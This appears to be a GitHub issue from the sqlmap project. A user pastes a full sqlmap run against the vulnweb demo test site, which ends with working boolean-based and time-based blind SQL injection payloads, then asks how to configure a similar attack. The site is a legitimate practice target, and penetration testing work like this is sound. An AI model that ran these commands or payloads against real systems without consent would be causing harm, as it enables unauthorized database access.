Closed jeriteri closed 2 years ago
$ python sqlmap.py -u "http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1*/" --batch
___
__H__
___ ___[']_____ ___ ___ {1.6.3.20#dev}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:37:55 /2022-03-31/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[23:37:55] [INFO] testing connection to the target URL
[23:37:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:37:57] [INFO] testing if the target URL content is stable
[23:37:57] [INFO] target URL content is stable
[23:37:57] [INFO] testing if URI parameter '#1*' is dynamic
[23:37:58] [WARNING] URI parameter '#1*' does not appear to be dynamic
[23:37:58] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[23:37:58] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:37:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:37:59] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="SATA")
[23:38:00] [INFO] testing 'Generic inline queries'
[23:38:00] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[23:38:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[23:38:01] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:38:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[23:38:01] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:38:01] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:38:02] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[23:38:02] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[23:38:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:38:03] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:38:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:38:03] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:38:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[23:38:04] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[23:38:04] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:38:05] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[23:38:05] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[23:38:06] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[23:38:06] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[23:38:06] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[23:38:07] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[23:38:07] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[23:38:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[23:38:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[23:38:08] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[23:38:08] [INFO] testing 'MySQL inline queries'
[23:38:08] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[23:38:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[23:38:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[23:38:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[23:38:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[23:38:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[23:38:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:38:21] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[23:38:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:38:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:38:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:38:23] [INFO] target URL appears to have 5 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[23:38:35] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[23:38:41] [INFO] target URL appears to be UNION injectable with 5 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[23:38:54] [INFO] testing 'MySQL UNION query (91) - 1 to 20 columns'
[23:39:00] [INFO] testing 'MySQL UNION query (91) - 21 to 40 columns'
[23:39:06] [INFO] testing 'MySQL UNION query (91) - 41 to 60 columns'
[23:39:12] [INFO] testing 'MySQL UNION query (91) - 61 to 80 columns'
[23:39:18] [INFO] testing 'MySQL UNION query (91) - 81 to 100 columns'
[23:39:24] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 255 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://testphp.vulnweb.com:80/Mod_Rewrite_Shop/BuyProduct-1 AND 1233=1233/
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://testphp.vulnweb.com:80/Mod_Rewrite_Shop/BuyProduct-1 AND (SELECT 8794 FROM (SELECT(SLEEP(5)))aqRR)/
---
[23:39:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[23:39:28] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 152 times
[23:39:28] [INFO] fetched data logged to text files under '/home/stamparm/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 23:39:28 /2022-03-31/
I got an attack detail,How would an attack type like this be set up? I checked the sqlmap usage instructions, but did not find a suitable usage,
Details are below: